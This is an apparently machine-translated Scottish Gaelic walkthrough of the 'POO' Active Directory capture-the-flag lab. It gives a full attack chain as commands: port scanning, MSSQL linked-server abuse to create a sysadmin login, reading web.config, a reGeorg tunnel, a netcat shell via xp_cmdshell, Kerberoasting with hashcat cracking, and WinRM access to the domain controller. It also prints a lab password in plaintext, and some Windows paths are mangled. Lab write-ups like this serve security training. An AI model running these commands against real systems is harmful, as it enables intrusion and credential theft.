San artaigil seo, nì sinn sgrùdadh air slighe chan e a-mhàin inneal, ach mion-obair-lann slàn bhon làrach
Mar a chaidh a ràdh san tuairisgeul, tha POO air a dhealbhadh gus sgilean deuchainn a dhèanamh aig gach ìre de dh’ ionnsaighean ann an àrainneachd bheag Active Directory. Is e an t-amas a bhith a’ dèanamh cron air aoigheachd a tha ri fhaighinn, sochairean àrdachadh, agus mu dheireadh a’ dèanamh cron air an raon gu lèir le bhith a’ cruinneachadh 5 brataichean sa phròiseas.
Tha an ceangal ris an obair-lann tro VPN. Thathas a’ moladh gun a bhith a’ ceangal bho choimpiutair obrach no bho aoigh far a bheil dàta cudromach dhut, fhad ‘s a gheibh thu a-steach do lìonra prìobhaideach le daoine aig a bheil eòlas air rudeigin mu thèarainteachd fiosrachaidh 🙂
fiosrachadh eagrachaidh
Gus am faigh thu a-mach mu artaigilean ùra, bathar-bog agus fiosrachadh eile, chruthaich mi
Tha a h-uile fiosrachadh air a thoirt seachad airson adhbharan foghlaim a-mhàin. Chan eil ùghdar na sgrìobhainn seo a’ gabhail uallach sam bith airson milleadh sam bith a nì duine sam bith mar thoradh air a bhith a’ cleachdadh an eòlais agus na dòighean a fhuaireadh mar thoradh air an sgrìobhainn seo a sgrùdadh.
Intro
Tha dà inneal anns a’ gheama crìochnachaidh seo, agus tha 5 brataichean ann.
Tha tuairisgeul agus seòladh an aoigh a tha ri fhaighinn cuideachd air a thoirt seachad.
Feuch an tòisich sinn!
Ath-bhratach
Tha seòladh IP de 10.13.38.11 aig an inneal seo a chuireas mi ri /etc/hosts.
10.13.38.11 poo.htb
Is e a’ chiad cheum a bhith a’ sganadh puirt fosgailte. Leis gu bheil e a’ toirt ùine mhòr airson a h-uile port a sganadh le nmap, nì mi e le masscan an toiseach. Bidh sinn a’ sganadh a h-uile port TCP agus UDP bhon eadar-aghaidh tun0 aig 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
A-nis, gus fiosrachadh nas mionaidiche fhaighinn mu na seirbheisean a tha a 'ruith air na puirt, leig leinn sgan a ruith leis an roghainn -A.
nmap -A poo.htb -p80,1433
Mar sin tha seirbheisean IIS agus MSSQL againn. Anns a 'chùis seo, gheibh sinn a-mach an fhìor DNS ainm an àrainn agus a' choimpiutair. Air an t-seirbheisiche lìn tha duilleag dachaigh IIS a’ cur fàilte oirnn.
Dèanamaid ath-aithris thairis air na clàran. Bidh mi a’ cleachdadh gobuster airson seo. Anns na paramadairean bidh sinn a’ sònrachadh an àireamh de shruthan 128 (-t), URL (-u), faclair (-w) agus leudachaidhean anns a bheil ùidh againn (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Mar sin, tha dearbhadh HTTP againn airson an eòlaire / rianachd, a bharrachd air am faidhle stòraidh seirbheis deasg .DS_Store a tha ri fhaighinn. Tha .DS_Store nam faidhlichean a bhios a’ stòradh roghainnean cleachdaiche airson pasgan, leithid liosta fhaidhlichean, suidheachadh ìomhaigh, ìomhaigh cùil taghte. Faodaidh faidhle mar seo tighinn gu crìch ann an eòlaire frithealaiche lìn luchd-leasachaidh lìn. Mar sin, gheibh sinn fiosrachadh mu shusbaint an eòlaire. Airson seo faodaidh tu a chleachdadh
python3 dsstore_crawler.py -i http://poo.htb/
Gheibh sinn susbaint an eòlaire. Is e an rud as inntinniche an seo an eòlaire / dev, às am faic sinn na stòran agus na faidhlichean db ann an dà mheur. Ach is urrainn dhuinn a’ chiad 6 caractaran de dh’ ainmean faidhle is eòlaire a chleachdadh ma tha an t-seirbheis so-leònte ri IIS ShortName. Faodaidh tu sgrùdadh a dhèanamh airson an so-leòntachd seo le bhith a’ cleachdadh
Agus lorg sinn aon fhaidhle teacsa a thòisicheas le “poo_co”. Gun fhios dè a nì mi an ath rud, thagh mi bho fhaclair nan seòlaidhean na faclan uile a tha a’ tòiseachadh le “co”.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Agus ag aithris le wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Agus lorg sinn am facal ceart! Bidh sinn a 'coimhead air an fhaidhle seo, sàbhail na teisteanasan (a' breithneachadh a rèir paramadair DBNAME, tha iad bho MSSQL).
Bidh sinn a 'toirt seachad a' bhratach, agus bidh sinn a 'gluasad air adhart le 20%.
Huh bratach
Bidh sinn a’ ceangal ri MSSQL, bidh mi a’ cleachdadh DBeaver.
Chan eil sinn a 'lorg dad inntinneach san stòr-dàta seo, cruthaichidh sinn Deasaiche SQL agus dèan cinnteach dè na cleachdaichean a th' ann.
SELECT name FROM master..syslogins;
Tha dà neach-cleachdaidh againn. Feuch an toir sinn sùil air na sochairean againn.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Mar sin, chan eil sochairean ann. Chì sinn na frithealaichean ceangailte, sgrìobh mi mun dòigh seo gu mionaideach
SELECT * FROM master..sysservers;
Seo mar a lorgas sinn frithealaiche SQL eile. Feuch an dèan sinn deuchainn air coileanadh òrdughan air an fhrithealaiche seo a’ cleachdadh openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Agus is urrainn dhuinn eadhon craobh ceist a thogail.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Is e an fhìrinn, nuair a nì sinn iarrtas gu frithealaiche ceangailte, gu bheil an t-iarrtas air a chuir gu bàs ann an co-theacsa neach-cleachdaidh eile! Chì sinn dè an co-theacs cleachdaiche a tha sinn a 'ruith air an fhrithealaiche ceangailte.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Agus a-nis chì sinn dè an co-theacsa a tha an t-iarrtas bhon t-seirbheisiche ceangailte ris an fhear againn air a chuir gu bàs!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Mar sin, is e co-theacsa DBO a th’ ann a dh’ fheumas a h-uile sochair a bhith aige. Feuch an toir sinn sùil air na sochairean gun fhios nach bi iarrtas ann bho fhrithealaiche ceangailte.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Mar a chì thu, tha na sochairean againn uile! Cruthaichidh sinn ar rianadair mar seo. Ach na leig leotha tro openquery, dèanamaid e tro EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Agus a-nis bidh sinn a’ ceangal ri teisteanasan an neach-cleachdaidh ùr, cùm sùil air an stòr-dàta brataichean ùra.
Bheir sinn seachad a’ bhratach seo agus thèid sinn nas fhaide.
Bratach cùl-raon
Feuch gum faigh sinn an t-slige le bhith a’ cleachdadh MSSQL, tha mi a’ cleachdadh mssqlclient bhon phasgan impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Feumaidh sinn faclan-faire fhaighinn, agus is e a’ chiad rud a choinnich sinn mu thràth an làrach. Mar sin, feumaidh sinn rèiteachadh frithealaiche lìn (tha e do-dhèanta slige goireasach a thilgeil, a rèir coltais tha am balla-teine ag obair).
Ach tha ruigsinneachd air a dhiùltadh. Ged as urrainn dhuinn am faidhle bho MSSQL a leughadh, chan fheum sinn ach fios a bhith againn dè na cànanan prògramaidh a tha air an rèiteachadh. Agus anns an eòlaire MSSQL gheibh sinn a-mach gu bheil Python ann.
An uairsin chan eil duilgheadas ann am faidhle web.config a leughadh.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Leis na teisteanasan a chaidh a lorg, rachaibh gu / admin agus tog a’ bhratach.
bratach coise
Gu dearbh, tha cuid de mhì-ghoireasachd ann bho bhith a 'cleachdadh balla-teine, ach a' coimhead tro na roghainnean lìonra, tha sinn mothachail gu bheil protocol IPv6 air a chleachdadh cuideachd!
Cuir an seòladh seo ri /etc/hosts.
dead:babe::1001 poo6.htb
Dèanamaid sgrùdadh air an òstair a-rithist, ach an turas seo thairis air IPv6.
Agus tha an t-seirbheis WinRM ri fhaighinn thairis air IPv6. Dèanamaid ceangal ris na teisteanasan a chaidh a lorg.
Tha bratach air an deasg, thoir seachad e.
Bratach p00nte
An dèidh ath-sgrùdadh air an aoigh le
setspn.exe -T intranet.poo -Q */*
Feuch an cuir sinn an gnìomh an àithne tro MSSQL.
San dòigh seo, gheibh sinn SPN luchd-cleachdaidh p00_hr agus p00_adm, a tha a’ ciallachadh gu bheil iad so-leònte ri ionnsaigh leithid Kerberoasting. Ann an ùine ghoirid, gheibh sinn hashes nam faclan-faire aca.
An toiseach feumaidh tu slige seasmhach fhaighinn às leth an neach-cleachdaidh MSSQL. Ach leis gu bheil sinn cuibhrichte ann an ruigsinneachd, tha ceangal againn ris an aoigh a-mhàin tro phuirt 80 agus 1433. Ach tha e comasach trafaic a thunail tro phort 80! Airson seo bidh sinn a 'cleachdadh
Ach nuair a dh'fheuchas sinn ri faighinn thuige, gheibh sinn mearachd 404. Tha seo a' ciallachadh nach eil faidhlichean *.aspx air an cur gu bàs. Gus toirt air faidhlichean leis na leudachain sin ruith, stàlaich ASP.NET 4.5 mar a leanas.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Agus a-nis, nuair a gheibh sinn cothrom air tunnel.aspx, gheibh sinn am freagairt gu bheil a h-uile dad deiseil airson a dhol.
Feuch an tòisich sinn air pàirt an neach-dèiligidh den tagradh, a bheir seachad trafaic. Cuiridh sinn air adhart a h-uile trafaic bho phort 5432 chun t-seirbheisiche.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Agus bidh sinn a’ cleachdadh proxychains gus trafaic tagradh sam bith a chuir tron neach-ionaid againn. Nach cuir sinn am progsaidh seo ris an fhaidhle rèiteachaidh /etc/proxychains.conf.
A-nis leig dhuinn am prògram a luchdachadh suas chun t-seirbheisiche
A-nis bidh sinn a’ cur air bhog an neach-èisteachd tro MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Agus bidh sinn a’ ceangal tron neach-ionaid againn.
proxychains rlwrap nc poo.htb 4321
Agus gheibh sinn na hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
An ath rud, feumaidh tu aithris a dhèanamh air na hashes sin. Leis nach robh faclair dàta facal-faire aig rockyou, chleachd mi A H-UILE faclair facal-faire a chaidh a thoirt seachad ann an Seclists. Airson àireamhachd bidh sinn a 'cleachdadh hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Agus lorgaidh sinn an dà fhacal-faire, a’ chiad fhear ann am faclair dutch_passwordlist.txt, agus an dàrna fear ann am Keyboard-Combinations.txt.
Agus mar sin tha trì luchd-cleachdaidh againn, thèid sinn chun rianadair fearainn. Feuch an lorg sinn a sheòladh an toiseach.
Sgoinneil, tha sinn air seòladh IP rianadair an fhearainn ionnsachadh. Feuch an lorg sinn a h-uile neach-cleachdaidh den àrainn, a bharrachd air cò dhiubh a tha na rianadair. Gus an sgriobt a luchdachadh sìos gus fiosrachadh fhaighinn PowerView.ps1. An uairsin bidh sinn a 'ceangal a' cleachdadh evil-winrm, a 'sònrachadh an eòlaire leis an sgriobt anns a' pharamadair -s. Agus an uairsin dìreach luchdaich an sgriobt PowerView.
A-nis tha cothrom againn air a h-uile gnìomh. Tha coltas neach-cleachdaidh sochair air an neach-cleachdaidh p00_adm, agus mar sin obraichidh sinn na cho-theacsa. Nach cruthaich sinn nì PSCredential airson a’ chleachdaiche seo.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
A-nis thèid a h-uile àithne Powershell far a bheil sinn a’ sònrachadh Creds a chuir gu bàs às leth p00_adm. Nach seall sinn liosta de luchd-cleachdaidh agus am feart AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Agus mar sin, tha an neach-cleachdaidh againn dha-rìribh sochair. Chì sinn dè na buidhnean dham buin e.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Tha sinn mu dheireadh a’ dearbhadh gu bheil an neach-cleachdaidh na rianadair fearainn. Bheir seo còir dha logadh a-steach air astar gu rianadair an àrainn. Feuchaidh sinn ri logadh a-steach le WinRM a’ cleachdadh an tunail againn. Bha mi air mo mhealladh leis na mearachdan a chuir reGeorg a-mach nuair a bha mi a’ cleachdadh evil-winrm.
An uairsin bidh sinn a’ cleachdadh fear eile, nas fhasa,
Bidh sinn a’ feuchainn ri ceangal a dhèanamh, agus tha sinn san t-siostam.
Ach chan eil bratach ann. An uairsin thoir sùil air an neach-cleachdaidh agus thoir sùil air na deasgaichean.
Aig mr3ks lorg sinn a’ bhratach agus tha an obair-lann 100% deiseil.
Sin e. Mar fhios air ais, thoir beachd air an do dh’ ionnsaich thu rudeigin ùr bhon artaigil seo agus an robh e feumail dhut.
Faodaidh tu tighinn còmhla rinn aig
Source: www.habr.com